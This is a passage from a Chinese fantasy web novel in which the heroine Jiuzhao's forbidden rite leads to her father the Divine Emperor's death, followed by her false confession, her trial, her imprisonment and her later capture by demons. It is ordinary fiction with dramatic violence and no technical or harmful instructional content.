不远处,那同样受到仙光冲击,金粉扑了一地的匾额如浮尸仰躺在地。 “德日新”的三字书法,曾由神帝亲手写就,如今再落入眼梢,唯余无尽讽刺。 “殿下……” 绛玉在门外探头看了几回,心中的担忧终是大过对于死寂气氛的畏惧,蹑手蹑脚进殿收拾。 九昭垂着面孔,置若罔闻。 长发滑落下来,像是覆盖在躯壳之上的漆黑阴影。 绛玉用清洁术洁净了地面,又小心翼翼扶起匾额,放在一旁。 她明白九昭没有与自己说话的心情,待做完一切后,放轻脚步,打算出去。 九昭却唤住她,问道:“最近你和青珏,感情可还好?” 自打得知绛玉有心上人后,九昭便留着心思,把青珏从距离遥远的北境,调到了位于二清天的官署任职——也因此,青珏躲过了北神王叛变时的清算,还能够和绛玉好好在一起。 九昭做事从来只是默默地做,并不会主动和受益者提及。就连时候万分感激的绛玉和青珏,约好要同来常曦殿磕头谢恩,她也不过轻描淡写一句话,改日得了空闲再说。 此刻倏忽从九昭嘴里听到青珏的名字,她离开的足音一顿,有些笨拙地回答: “一切,一切都还好,殿下,您是有空想要召见他了吗?” “见面,怕是没有机会了。” 九昭的语速十分缓慢。 不久前高声呼唤亲卫进殿,将丹曛就地押解的怒容褪去,绛玉竟从中听出一丝心力交瘁的意味。 她并不清楚两人之间发生了什么。 但瞧见九昭失落,本能地张嘴,想要说些轻松的内容转移她的注意力。 话题尚未酝酿出来,九昭的下一句话接踵而至: “感情不错就好,你也岁数不小了,既已脱了奴籍,就回去准备同青珏成亲吧。” “殿、殿下?” 绛玉被突如其来的惊喜砸得发蒙,简单的二字称呼出口,还不小心咬到了自己的舌头。 耳闻对方泪眼汪汪的拜谢,九昭勾起唇瓣。 想笑,眼角却落下一痕热泪,转瞬被白绸吸干无踪。 …… 花了一夜,安排好离恨天内侍仆们的来去,遣散的遣散,调任的调任。 旨意的落尾,九昭更将私库一半的珍宝赐给朱映、绛玉和缃璧三人,以此答谢他们多年的忠心耿耿。 她另写了封密信给远在边境的扶胥。 仔细算算,等事情做完,密信也差不多时间落在他手里。 结束全部,九昭离开寝殿,没有使用传送阵,仅是控制着速度,缓缓朝三清天的方向飞去。 此时此刻,她什么都不愿再想了。 也许丹曛说得对,从始至终,她都割舍不下那所谓的心善和良知。 一路走到现在,她所行的每一步,都在被逼着向前。 不管如何催眠自己,陷在与本心不断背道而驰的生活里,她已失去了继续挣扎下去的意义。 若坚持是错,放弃也是错。 干脆听天由命吧。 命运总会代替她,做出最正确的选择。 …… 迎着萧索的月色,抬步踏上玉阶,九昭扬袖,挥退神帝寝宫外的所有仙官驻卫。 哪怕放弃思考,她也明白,决定之后即将面对的,是怎样的结局。 奇怪的是,每向上一步,心反而变得轻松。 他人投射的目光。 跌跌撞撞的求索。 身为神姬的权位。 曾经盼求的真心。 父女之间的恩义—— 一件一件,宛若枷锁一般从身上卸去。 九昭呼出口气,感到如释重负。 无人跟随在侧,她亲手推开紧闭的大门。 令人神魂安缓的渡木香气里,昏迷的神帝面容平和,与记忆里的慈爱父亲别无二致。 九昭再度抬手,隔绝声息的仙力漫上每一块墙砖碧瓦。 那默诵过无数次,足以倒背如流的迭命禁术在眼前浮现。 她在神帝的床沿站定,随即解开白绸,俯落颈项,用很轻的声音说道:“父神,女儿从来都是无用之人,一次又一次辜负了您的期待,竭尽全力,依旧无法成为您眼中顶天立地、秉性决然的储君。 “思来想去,唯有将这条命偿还给您。 “若是魔族面对爱人的庇护无法在死后生效,女儿命不久矣,也算是个解脱。 “若是天还叫我活着。 “往后漫长的余生,我也宁愿被流放,被囚禁在无日渊中直到死去—— “身体遭受痛楚不要紧。 “至少,女儿的心不想再被煎熬了。” 159| 第159章 ◎“弑父之罪。”◎ 禁术发动, 从灵台散逸而出的蓝红光芒交织在一起,将九昭和神帝迅速裹成茧蛹。 按照红进蓝出的循环,九昭看着属于自己的力量, 一点一点涌入神帝体内。 他灰败的面孔在生机润泽之下, 再度回归年轻英挺,鬓角的霜色亦被鸦羽般的漆黑覆盖。 这些肉眼可见的变化,无一不昭示着毒性的衰退,且神帝的身体发生了不可思议的光阴逆转。 一直以来都在利用她的杏杳, 于这件事上,倒是难得说了回真话。 九昭被苦涩灌满的心底,顿时生出些许感激。 好景不长。 迭命术堪堪施展一小半, 熟悉的闷雷声出现在茧蛹上方。 杏杳被劈到灰飞烟灭的情景历历在目,九昭浑身一僵,被动抬起目光,朝声源处望去—— 然而, 天谴没有给她缓冲的间隙, 雷光集结完毕之后, 对准神帝灵台应声劈落。 轰隆! 先于视线被捕捉到,是难以言喻的焦糊味道。 雷罚尽数刺入神帝额心, 硬生生切断了如脉络般连接两人的法术之光。 也惊碎了九昭脑海里所有的思绪。 “不、不不不——” 她失声惊叫起来, 想扑到神帝身上代父承受。 奈何,天谴只中断了迭命术的运转, 而将两人包裹的茧蛹不知为何没有立即散去。 她的行动受限, 眼见雷罚一下、两下、三下……无止无休地击中神帝。 鲜血如游丝淌落唇角, 紧接着, 血线变宽, 淋漓的热液污涂半截下颌。 极轻极低的呻/吟骤响。 随着眼皮的一阵剧烈抖颤, 那紧闭多日的双目突然睁了开来,不偏不倚撞进九昭猩红的眸底。 “父——” “昭儿。” 久违言语,神帝的嗓音透着粗粝的嘶哑。 对于此刻发生的全部,他的表情不见诧异错愕,九昭竟然从中捕捉到一丝近似解脱的欣慰。 “为父知道,你进入我的识海,读取了我与你母神决裂的过往记忆。” 天谴降临,必死无疑。 留给神帝的时间不多,他的话语也开门见山,直接进入主题。 九昭动了动嘴唇,却是沉默。 她不错眼地望着神帝,得知真相的那一瞬浮现的千言万语,于此刻化作无声的注视。 “在为父还是储君,没有同你母神相恋的很多年以前,你的祖父自知命途将尽,耗费了为数不多的生机,为三清天的未来推衍,得到预言,为父为末代之帝,凤凰必倾倒上界,取而代之。” 暗不见天的真相经由神帝轻描淡写说出。 大片肌肤颗粒在九昭后颈悚然炸开,她的瞳孔边缘剧烈扩张,难掩惊异。 “预言总是这般,藏头露尾,从来不肯把话说清楚,再加上那时的凤凰族日益强盛,且出了你母神和巫劭这对不世出的天才人物,你母神明媚热烈,巫劭又张扬桀骜,在学宫同窗中很快累积起一批追随者。 “而真血之力练就的涅槃火,素来是三清天最高阶、最强大的功法,火燃千野,所到之处,焚毁一切。 “凤凰族生来拥有这般杀招,再加上巫劭事事要争第一,不甘落于人后的性子,怎叫我们不心生忌惮? “于是,便有了后续的一切。 “我和你母神相恋,排挤巫劭,密谋逼逐凤凰族。” 神帝虚弱的声调,在越发震响的雷鸣中,透着失真的缥缈感。 他顿了顿,吞咽了一下干涩的喉咙:“事实上,我和你祖父的计划也的确成功了,凤凰族堕恶为魔,一朝从上界最显赫风光的家族,沦落为人人喊打的过街老鼠,我们顺利为帝位的稳定驱逐了最大的威胁—— “唯一的变故,是我没克制住感情,真心实意爱上了你的母亲。 “爱到她在战场上为我挡剑性命垂危,宁愿通过禁术,用我的命去换取她的命。 “瞒着她施展迭命术后,我知晓自己的寿数不过千余年,干脆趁着为数不多的日子,心诞孕育了你。 “在仙侣结合只为利益,朝见异暮思迁的三清天,我明白你母亲的爱意很珍贵,她和她的凤凰族,是坚定的夫妻忠贞拥护者,为了报答她的爱,偿还利用她的亏欠,我愿意将性命,将一切都奉献给她。 “可是,这一切都被巫劭遗落在凤凰神树的记忆碎片毁了。 “他为成为没有弱点的魔头,便舍弃了对于你母神的感情,将它像垃圾一样丢在被烧毁的圣地。 “他不管是活着还是死了,从来都不肯叫我和太婀好过!” 天谴赋予身体和神魂的疼痛,不及神帝对于巫劭的怨怼来得深重。 这也是千万年的岁月里,九昭第一次目睹面对万事云淡风轻的父神,情绪激烈到眉目扭曲。 过盛的爱恨能叫人堕落成魔。 也能令在严苛天规下持重长成的神仙,变成面目可憎的怪物。 “那天你母神和我发生了争吵,她丢下死生不见的决言,自此避居春台殿再未与我相见一眼。 “当我再见到她,迭命术破,付出的生机逆流回我的身体,随之而来的,是她自刎而亡的消息。” “自她死后三万年,我只知自己活着,却是空有躯壳,不具半点欢愉。 “有今日这样的结果,是我咎由自取,谁也难怨。 “唯一感到抱歉的……唯有你,我的女儿。” 天谴之力,任凭天神也无法抗拒。 灵台被摧毁,神帝半边面颊露出血肉和森森白骨。 他忏悔完自己的一生,又用尽力气抬手,试图摸一摸九昭早已泪流不止的面孔。 可横亘在两人间的障碍恍若天堑。 为免伤害到无辜者,天道以壁障束缚受罪之人——非至死去,壁障不得解。 禁术的华光渐次消散,九昭跪坐在地,她拼了命地想要回握神帝的手,却被一次又一次弹开。 神帝勾起唇角,对她歉然一笑: “昭儿,这些年,我因着对太婀的内疚,容忍放纵你,可又渴望在你的身上,延续未尽的抱负。 “你是我与最爱之人生下的女儿。 “却也是我,令你遭兰祁背叛,扶胥离弃,困守在储君的位置上苦闷无诉,以至产生心魔。” “我从来没有问过你,想要怎样的生活…… “或许从许多年前,你同我说起不想当神帝时,我便是错的。” 神帝放下贴住屏障的手。 强迫神志清醒而加速扩散的毒性,以及酷烈的雷刑,剥夺了他瞳孔深处最后一丝光彩。 隆起的衾被一寸一寸落下,他的躯壳自双脚开始,溃逸为晶莹的光尘。 “抱歉,若还有一丝机会。 “我只希望你能拥有自己真正向往的人生。” …… 象征神帝陨落的丧钟声,自三清天的最高处响起。 上至中廷紫微宫,下至神王四境,整整九道,响彻整片大地。 闻声而来的嶷山,带领仙兵突破结界闯入寝宫时,神帝的床榻上空无一人。 而九昭仍失魂落魄坐倒在地。 “殿下,发生了什么?帝座怎会忽然崩逝?!” 嶷山长揖到底,不等九昭唤起,又面含惊慌,急急上前一步,提出质疑。 “……” 回答他的,唯有沉默。 天道又一次同九昭开了个玩笑。 想活的人没活下去,想死的人却死不了。 如今,因为二次实施的迭命术,她还失去了她的父亲。 可她究竟做错了什么呢? 凡人求神拜佛,以求他人能够实现内心的愿望。 九昭自己便是神仙,她从来坚信想要得到什么,唯有通过双手争取。 可这一次,她真的很想找到隐匿在天道之下的无形神明,问问这一生的苦还有多少方能尝尽。 她没有辩解的言语。 于黑暗里缓缓转过头,赤红双眸在绝望的深处如同将熄的烟烬。 …… 九昭神姬入魔,下手害死父亲的消息不胫而走。 已是月上中宵,紫微宫内却亮如白昼,烛火昭明。 扶胥自收到密信,便争分夺秒赶回。 奈何边关到三清天的路途遥远,开启长距离的传送阵,耗费了不少时间。 他风尘仆仆踏进大殿,看到的是双膝着地,垂首跪在御座之下的九昭。 三清天剩余的神王和上神,除日神朱曜和在前线的南神王外,皆已身着素服,立于殿中。 神帝已逝,按照他们的位阶,谁来出头主持审判储君之事,都有急于冒尖揽权的嫌疑。 见贵为上神之首的扶胥赶到,西神王只以为是嶷山派往四方的仙官禀告了消息,将他惊动出关。 他虽哀痛,但留有理智。 此事处处存疑。 若九昭真做出弑父举措,想来心底一定痛恨神帝非常,何以会如此伤心欲绝。 揩去眼角湿意,赶在众人之前迎上去,将当下的情况气声告知: “九昭殿下对自己弑父的罪行供认不讳,无论我怎么问都不肯说出整件事情的来龙去脉——赶去护驾的嶷山和仙兵亲眼所见,寝宫内唯有她和帝座两人,除此之外,她的魔化红瞳亦是另一重铁证。 “殿下既拒绝开口,那么一切就没有翻盘的余地。眼下群臣齐聚,日神又素来游离在朝堂之外,不问世事,在不在都一个样……恐怕今晚就得论定结果,对殿下处以弃仙入魔、谋害君上的极刑。” 扶胥凝神听罢,狭长的黑眸侧转,淡声反问: “西神王的意思,是绝对信任九昭神姬的为人,断定她不会做出杀害君父之举,想要为她做担保吗?” 这个问题不可谓不重。 莫说九昭亲口承认害死了神帝,便是她大喊冤枉—— 在铁证如山的当下,又有几人敢堵上身家性命站在她这一边。 西神王为扶胥的态度略感错愕。 但转眼想明白,对方与九昭的夫妻关系已成过去式,实在没有必要为九昭费心。 他眼神黯了黯,拂袖离开扶胥,重新站回原位。 …… 相互致意视礼。 嶷山落在扶胥身后半步。 左右两列是屏气凝神的上界重臣,敞开的殿门外,是银胄覆身的士兵。 这场结果注定沉重的审判即将开启。 夜风拂过喧亮的烛火,憧憧灯影晃进眼帘。 九昭感觉到瞳孔一阵刺痛,恍惚间似有温热流淌。 她伸手轻轻抚摸着眼睫,那里却是无尽的干涸。 160| 第160章 ◎“叫世间再无我这罪大恶极之人!”◎ 嶷山赶到时, 神帝已然灰飞烟灭。 寝宫内感受不到任何气息遗留的痕迹。 情况十分诡异,无人知晓九昭是采用了什么方法做到的。 也因此,从她嘴里问出话来至关重要。 作为审判者, 扶胥和嶷山立于御座和大殿中央的第二层阔台上。 他垂眸向下, 只看见九昭头顶漆黑的发旋——作为戴罪之身,她浑身没有任何珠饰,长垂至腿弯的鸦发披散下来,连轴转的忙碌, 使整个人清瘦许多,配上月白的浅色长衣,越发衬得伶仃一抹。 手指掐入掌心, 疼痛促使扶胥隐去眼底的怜惜。 他转脸同嶷山交换视线,而后沉着语调,公事公办问询:“九昭神姬,是你杀了帝座吗?” “是。” 无喜无悲的嗓音, 藏在黑压压的长发后, 清晰传进在殿每位上神天仙耳中。一时间, 众人竟然分不清是她亲手弑父的行径骇人听闻,还是她犯下大过还坦然无愧的态度更叫人愤怒。 似乎犹嫌不足, 九昭复抬起头来, 一改不久前的三缄其口,左右环视一圈, 不紧不慢启唇:“当日桃林内, 巫劭揭露我亲手下毒给神帝, 你们都听到了吧?他说得没错, 神帝之所以中毒垂危, 也是因为我。 “百年前, 我与崇黎之子祝晏相爱,为了治好他的弱症,我必须练成最高阶的涅槃凤火,可凤凰神树早已枯死,唯有烛龙颌下珠内蕴含的至阳之力,方能令其重新复活,以供我修习。 “我在无日渊觉醒神帝予我的半身神力,将历经雷劫万年,早已虚弱不堪的烛龙打败,却饶他不死并与他签订了血契,后出于为我担忧,神帝将颌下珠要了过去,仔细检查,那源自烛龙腺体的剧毒,便是在他为我检查的过程中,通过皮肤渗入肌理,在体内埋下祸根,才会在神帝力量不济时,一举扩散。” 将几处真相模糊,再加上一点似是而非的引导。 原本遭受蒙蔽的事实经过,就变成了九昭与魔族的勾结。 她敏感注意到,几位身处队列最后方的天仙眼神变了又变,痛恨之色再难掩盖。 扶胥抿唇,复问:“你为何要这么做?” 九昭扯了扯嘴角,像是听到很有趣的笑话:“难道我不该杀了他吗? “从头到尾,是神帝利用了我的母亲,算计凤凰族,害得巫劭不得不带领族人堕落为魔。 “而我这个神姬也因为拥有凤凰血脉,被人诟病多年。 “他与我的母亲一同诞育我,对外宣称我是唯一的神姬,受他无尽溺爱的掌上明珠,结果呢?结果是,他也将我当成了一枚棋子,一枚与封入巫劭元神和血脉的容器成婚,以便他全面收回凤凰真血的棋子!” 骤闻尘封的往事,多数人惊愕异常。 而少数清楚内情并参与其中之人,则纷纷偏过面孔,不愿与九昭冷凝若冰的目光对上。 九昭一瞬不瞬注视着扶胥,没有白绸遮挡,她十分清楚地从他脸上看到转瞬即逝的反思。 某个瞬间,她突然领悟了兰祁之后,神帝为自己选择扶胥的原因。 凤凰族原本地位超然,占据着最丰沃的领地,最浓郁的仙元,将他们驱逐,尽管大部分好处都归了南神王和木系神仙一脉,但依然有数不清的小部族瓜分了利益,趁机崛起,从此有名有姓。 将真相公之于众,归根究底,受益者为整个三清天。 哪怕清楚这是神帝策划的阴谋,所有人都会不约而同地选择默认和支持。 唯有扶胥的正直,宛若污泥中超拔而出的青莲。 他性格中从来不肯妥协的部分,与她何其相似——若命运不是如此残酷可笑,或许他们会一生幸福。 可惜,她没有以后了。 …… 两人一来一回,逐渐将九昭于闭嘴期间打好腹稿的来龙去脉补全。 最后一问,扶胥直指核心:“你是怎么杀死帝座的?” “区区天仙,居然能够杀死三清天最强大的上神,你们都觉得很不可思议,对吗?” 九昭轻声反问。 在没有确认罪名之前,她仍然是三清天的储君。 没有枷拷在身,也没有绳索在腕。 她抬起左手,一朵混合着深重魔气的火莲于掌心绽放:“若我说,我早就练成了最高阶的涅槃凤火,你们应该更想杀了我吧?传说中,让人拥有越级对战的能力,足以焚毁神躯灵骨的涅槃凤火,再加上半身至精至纯的水系神力,想要杀死中毒已深、性命垂危的神帝,莫非很困难吗?” 话音刻意落在此处微微停顿,九昭的红瞳被火莲照亮,呈现与满殿清气格格不入的妖异,“若哪位上神不肯相信,大可以上前试试——说到底,你们忌惮巫劭和凤凰族,非要将他们驱逐,不正是因为此火吗?” “你!” “九昭神姬,你已犯下大错,不思认罪悔改,怎敢再继续出言挑衅?” “难道你的神志便被心魔侵入的这样深,以至于全然失去了理性吗?!” 熟悉的,和四方为敌的清醒,再度涌现。 在剑拔弩张、千夫所指的时刻,九昭的脑海出现的,却是年幼天真的年纪,和上神家的孩子比试投壶,虽赢了比试,对方却耍诈躺倒在地,直言自己被殴打欺负的记忆。 由于一贯强势的个性,夫子先入为主,将她狠狠训诫。 满腹委屈,无处发泄。 怒气冲冲飞回离恨天,推开大门的刹那,见到的,是父神温暖慈和的笑脸。 父神张开温暖的怀抱,将她拥在怀里,听完经过,笑着安慰:“父神明白,阿昭从来不会说谎,欺负了别人也只会拍着胸脯,光明正大承认‘就是本殿欺负的,怎样’,不管别人怎么想,父神永远相信阿昭。” …… 也不会有人,在何种情况下,都始终如一地相信她了。 九昭仰高头颅,睁大双目,将眼角含着的热泪拼命压回眼眶。 “原来,她早就与魔族勾结了!” “桃林也是她未将兰祁引到指定的法阵地点,我们仙族才会失利!” “说不定杏杳是发现了她与魔族往来的真相,才会被她秘密灭口,她才是那个三清天最大的内鬼!” “哈—— “哈哈哈哈哈!!” 在群仙的指责和唾骂声中,她大笑起来,何其猖狂。 恶意的揣测越来越过,方向也越来越歪。 队伍末尾一位来自东原的天仙冷不丁说道:“当初,蒙蔽了帝座而在无日渊之战中得到嘉奖的,还有东海世子瀛罗,他后又为九昭神姬挡剑而死……会不会他也与九昭神姬勾结在一起,做了焚业海内啊——!” 话音未落,九昭眼神一冽,反手打出涅槃凤火。 凄厉的惨叫声顿起。 无人来得及反应,那墨黑色的火莲以电光火石的速度化为百朵、千朵、万朵——触及嚼舌天仙的衣角,很快将其全身吞噬,天仙扯嗓哀叫着滚倒在地,来回翻滚,却用尽手段都无法熄灭火焰。 “九昭神姬,你在干什么!” “快把火焰熄灭!” 被魔气污染的火莲如同附骨之疽。 任凭在旁最高阶的水系上神夕寰出手,仍然游移闪躲,直至彻底夺走天仙的性命方肯罢休。 巫劭被囚入无日渊后,三清天整整三万年未见涅槃凤火的恐怖威力。 九昭出手,某些可怖的画面,便在当初参加过仙魔战争的年长神仙脑海内复苏。 失控的局面,混乱的责言,仙族储君肆无忌惮的行凶,忿忿刺得嶷山唇角肌肉抽搐,他不顾应以战神扶胥为尊的礼法,伸手指向一切事件的中心:“九昭神姬,你当众戕害同胞,罪无可恕,应处极刑!” “好啊,那便杀了我。 “叫九十九道雷罚落下,叫世间再无我这罪大恶极之人!” 九昭扬起颈项,回以且笑且怒的呼喝。 意识到她不管不顾寻衅,只为求死,嶷山当即眉眼一肃:“将她押解至长生台!” 紧接着,八名严装以待的仙兵入殿。 他们手持枷项,意欲锁在九昭脖间,正式宣告她从高高在上的神姬,沦为仙族唾弃的阶下囚。 说时迟那时快,沉重的铁板尚未触碰到九昭的身体,一道威仪的男声自外而来: “慢着!” 众人循声望去,见身材娇小的朱映沐着夜色而来。 一名小小的统领仙官,如何在此事上有发言权? 嶷山正想怒斥,自踏进殿门的那刻,对方的躯体陡然发出神光。 盛放的光亮将柔美的女性曲线淹没,每走一步,朱映的身量节节拔高,裙装自上而下迭变。 走到九昭侧畔时,那芙面秀丽的女官不复可见,取而代之的,是一位陌生且英挺的高挑青年。 “朱、朱曜,你出关了么?” 阶下右侧,司德之神绥猷露出不敢置信的眼神,“你怎会,突然化身成为、九昭神姬身边的女官?” “女官一直是我,并非突然化身。” 朱曜摆摆手,示意这等闲杂话题稍后再议,“诸位,三清天发生此等大事,九昭神姬论律必须得死。” 他的语调毫无对于九昭的偏袒,甚至无视了九昭在得知他是日神时几经明灭的眼神,“可眼下最要紧的,并非对于她的刑罚——你们可有思考过,帝座崩逝的丧钟响彻四境,同样会传到被魔族占据的北境那里,两军对峙,君主骤崩,你们若是魔族,此刻会采取什么行动?” 朱曜一语中的,群臣均陷入程度不同的沉思。 “帝座已身归天地,然而三清天的稳固,还需我等勠力同心——行完九十九道雷罚,少说也要一天一夜,军情紧急,我们根本耽误不起。依我看,暂且将九昭神姬押入无日渊最底层,待局势稳定再行刑,更为妥当。” 无日渊每隔七日,便会降下雷罚。 虽无法直接要了九昭的性命,却能叫她生不如死。 哪怕在等死期间,她这大逆罪仙也绝不可能过上一天舒服日子。 朱曜的警醒振聋发聩,后续的提议又合情合理。 最终群臣议定,剥夺九昭储君身份,收回她的所有俸赐恩赏。 投入无日渊中,非刑期来临不得出。 …… 这一入,便是三千年。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 160-170 161| 第161章 ◎“阶下囚。”◎ …… 吱嘎。 牢门开了。 长日寂静, 除了雷罚无人造访的无日渊最底层,迎来不速之客。 被动静惊醒,九昭缓缓睁开双眼。 她弯曲脊背, 靠坐在角落, 侧对着来人,黑发乱蓬蓬的,挡住了视线尽头的余光。 无需眼神接触,九昭感觉到那人没有立刻进入, 正站在几丈之外,不错眼地注视着自己。 目光如有实质,从头到脚将她一一审视。 仙魔战争终于结束, 是要拖她出去施以极刑了吗? 九昭漫不经心想着,毫无对于死亡来临的畏惧。 她瘦削的身体带动婴儿手腕粗细的寒铁锁链,吃力朝着墙壁方向转去。 只是不动还好。 一动浑身上下雷劈造成的伤口又开始疼痛起来。 九昭习惯性地用指甲掐进掌心,沉默等待着最痛的时候过去。 她无视了开启牢门之人, 那人也不曾出声。 气氛陷入微妙状态。 不多时, 又被数量众多, 由远及近的足音打破。 有道声音倏忽发出询问:“将军,她就是那个被仙族废弃的储君? “既非神躯, 被雷击三千年, 竟然还能全须全尾地活着,当真不可思议。” 将军? 被仙族废弃的储君? 九昭长久放空的大脑, 因这两个不同寻常的称呼, 费劲转动起来。 待她后知后觉发现, 来人并非三清天派遣的执刑官时, 牢门外等候的某位像是彻底失去了耐心。 迫促的足音向她走来。 高举武器的破风声, 自头顶上方骤响。 九昭下意识侧仰面孔看去, 一道青影闪过,闪烁着寒芒的长剑罩面砍落。 砰! 剑锋挑衅似地擦鼻尖而下,削去几绺黑发,最终与束缚左脚的锁链相击。 震响声后,锁链纹丝不动,反倒看起来锋利无比的长剑被凿出一个豁口。 “……” 寻衅不成,自己反倒闹个没脸。 那人看了看惨遭损毁的本命武器,不敢置信地望向身后。 “蠢货!” 这里外都透着愚蠢的举动,终是撬开了将军缄默至今的唇舌。 不留情面的呵斥乍起,带着点莫名的熟悉,“那是西海至宝西极寒铁铸成的锁链,岂容你随便破坏?” 说着,他命令瞎逞能的士兵滚回牢外的人堆里,自己反手从腰间掏出钥匙。 锁链缚着人体的末端,以及与墙壁连接的顶端,均是活扣,持有钥匙便能随意开启两处。 机括解锁的咔咔声在耳边响了五次,四肢和脖子上的沉坠感却没有消失。 少顷,九昭被一只大手掐着后颈,粗暴提溜起来,遮住面孔的厚重刘海,亦随着动作撇开条缝隙。 九昭看清了将军的脸。 当年先被她踩在脚下,后又被父神算计,差点死在桃林里的凤凰族长——无咎。 紧接着,青年加重掐入皮肉的五指。 疼痛和窒息层层叠加,令得九昭面孔涨红,不住咳嗽起来,拖着锁链的手脚也无意识地晃动挣扎。 而作为施暴者的无咎,仅如局外人般冷眼旁观。 不知过了多久,九昭挣扎的幅度逐渐变小,本就虚弱的气息更接近于无。 眼见她就要死于无咎之手,屏息立在门外的魔兵领头终于想起临来时,自己接到的另一重命令。 他无声踏入牢房,靠近无咎肩畔,低声提醒:“将军,九尾将军交代过——要小心呵护废储君。” 闻言,无咎狭长的凤眸乜了过去:“同为副将军,难道我用得着他来管教?” 魔兵领头立刻躬身请罪。 嘴巴虽硬,无咎到底没有再继续下去。 他松开手掌,放任九昭伤痕满身的躯体软倒在地。又仿照昔年九昭对待自己那样,一脚踩在她的裙摆上,不耐烦道:“自己起来,跟着我走——别耍花样,你如今这副鬼德性,我随时都可以要了你性命。” …… 三清天与焚业海的战争,难道最终是三清天败了? 否则,魔族怎能轻易闯入无日渊,还拿到了镇守仙官才有的寒铁钥匙。 踏入传送阵,被无咎押往不知名目的地的路途上,九昭陆陆续续产生了诸多疑问。 根据那位感叹受尽雷罚居然未死的魔兵所言,她应当在无日渊内度过了三千年。 进入牢狱,不见天日。 时间便成了最无价值的东西。 年复一年,浑浑噩噩。 唯有雷罚降临时,撕裂神魂的剧痛,提醒着九昭,她尚在人世。 沧海桑田,世事似有巨变。 猝不及防从仙族的罪人变作魔族的囚徒,无数困惑横亘在前,需要九昭去探究解决。 然而念头在脑海转过一圈,她瞳孔的神光又黯淡下来。 罢了。 已经从那个高处不胜寒的位置上下来,唯有死值得期待。 三清天如何,焚业海如何—— 又与自己有什么干系呢? 传送阵遮蔽周遭的光芒淡去,众人现身于一处军帐林立的营地。 无咎向后看了一瞬,示意看守九昭的魔兵将锁链交给自己。 西极寒铁虽是三清天对内处理罪臣罪仙的刑具,但对于曾经是仙的凤凰同样能够造成伤害。 他自储物戒取出一双特质的手套戴上,而后选中脖颈位置的锁链狠狠绕了两圈,缠在掌心。 距离冷不丁缩短,九昭整个人如被扯住筝线的纸鸢般,踉跄着向前一步,差点绊倒自己。 “啧啧,神姬殿下不是从来都意气风发、目下无尘吗? “若神帝重新活过来,见到你如此羸弱潦倒,还不知道要心痛成什么样—— “噢,不好意思,我忘记了。 “你是因为亲手弑父才会沦落为仙族罪人的,神帝又怎会为你这个白眼狼感到心痛。” 无咎一面说着,一面刻意将缠着锁链的手垂下,九昭不得不弯下腰肢,亦步亦趋跟在他身后。 战甲发亮、絮絮叨叨的将军。 蓬头垢面、一言不发的女仙。 两人走到哪处,何处便成为一道怪异的景象,引来无数魔族的窥探侧目。 得不到九昭的回答,无咎也未失去谈兴。 他就着弑父之事越问越过分,说到“就连我们魔族,对待从小苦心养育自己长大的父亲,也不可能这么狼心狗肺”时,还特地回眸,试图看清九昭脸上的表情。 奈何,九昭始终垂着头,没有任何反应。 像是一湾不会流动的死水,石头砸进去也溅不起多少水花。 这拳头打进棉花里的闷顿感,叫无咎倍感气恼。 游营示众到一半,他沉着脸噤了声,加快脚步将九昭拉进位于主帐后方的帐篷中。 营帐内,两名魔族装扮的女婢侍立两旁。 正中央的兽皮床上,放着几件颜色浓重的衣衫,右侧方,足以坐下两人的浴桶里散发着清苦气息。 女婢们显然早就得到吩咐。 待无咎将另一端的锁链解开,她们接过九昭,掌间释放的清洁术自上而下将污渍除去。 杂乱的头发很快服帖下来,覆了层黑红血迹的布料也回归整洁。 只是外表虽已干净,仍有衣裙需要更换,遍布肌肤的伤口需要处理。 一个大男人杵在跟前,怎么都不方便。 女婢双双望向青年,唤了声:“无咎大人……” 却被想到新羞辱方式的青年抢白:“怎么?三清天的罪仙难道到了我们的地盘就变成贵客了吗?业尊只是点名要将她从无日渊带回来收拾干净,可没说别的——用得着你们在这里处处献殷勤!” 女婢只是普通的侍奉女婢,并无官阶。 出现在业尊兰祁面前,兰祁也不会记得她们的名字。 而无咎不同,贵为凤凰族长,又刚在和三清天的战役中赢了漂亮一仗。 她们吃罪不起,只好放慢手中的速度。 慢吞吞做事,企图让无咎失去耐心转身出去。 指尖沿着九昭细伶伶的腰线往下,落在衣衫的系带,另一只手反将其握住。 女婢一顿,不解抬头。 却见被乱发遮挡,看不清眉眼的女仙,自发帘后阴沉沉地觑着自己。 额发滑落,阴影加深,模糊了眼黑和眼白的界限。 竟衬得仙比魔还要像魔。 女婢不清楚发生在九昭身上的事,被她的红瞳吓了一跳,转眼,触碰衣带的手被拂开—— 一直垂着头的九昭冷不丁抬起面孔来,一拉一放,利索宽衣解带,包裹身体的外衫便如海潮般褪去。 露出仅着单薄中衣的婀娜曲线。 “你!” 怎会有这般放浪形骸的女人?! 带着错愕的斥责尚未出口,无咎的视线便十分突然地,撞进一片深红中去。 鸦黑的长发经手掌拂开,露出九昭一张穿云破月般,美貌夺目的面孔。 他不是没见过九昭,也清楚她的容貌自成翘楚。 可那时,九昭被簇拥在金碧辉煌之中,更接近于一尊敬奉起来,以供信徒参拜的神像。 被惊艳过后,他心中只越发觉得她是金玉其外,败絮其中的三清天象征。 此时此刻,她的美丽与落魄潦倒难舍难分—— 譬如花朵坠入尘埃,珠宝陷落泥泞。 再配上那双魔魅的红瞳,像是在等待英雄将其从污泥中拯救,又仿佛诱惑着恶徒来尽情摧毁。 眸中难以言喻的情绪,淹没无咎心口的厌憎、仇恨与恶意。 面对脱去神姬荣光的九昭,他突然有些束手无策。 接下去期待的羞辱,变得不再那么期待。 他结结巴巴继续放了几句狠话,见九昭信手又要解下中衣,狼狈转身,落荒而逃。 四周终于清净了。 九昭被动作恢复麻溜的女婢们侍奉着脱光衣裳,慢慢浸入气息古怪的浴桶中。 那水是凉的,也非澄澈透明,而是呈现淡淡的蓝色。 不再怕死,九昭对于水液的用处也没半点探究的兴趣。 结果无非两种,治好或者更坏。 和与魔族为敌的身份截然相反,九昭十分顺从,叫抬手就抬手,叫低头就低头。女婢们做好了若被询问敷衍过去的准备,谁料她什么也不问,敛着双眸的模样,活像魔匠手下雕琢出来,毫无思想的傀儡偶人。 水液中似有麻痹神志的药剂。 泡了片刻,时时刻刻折磨着九昭的痛楚减轻。 她在毫无防备的状态下睡了过去。 …… 再醒来,一匹光滑的绸缎裹住胸膛到腿根的部分。 有人在给她的伤口伤药,指腹微凉,动作轻柔。 嘴里的话温和得仿佛在哄怕苦不肯吃药的孩提: “呼呼……不痛了,好昭娘,以后,再也不会受伤了。” 九昭似有所感,顺着声源看了过去。 162| 第162章 ◎“我该叫你兰祁,还是舅舅?”◎ 眼前的情景, 令九昭觉得不可思议。 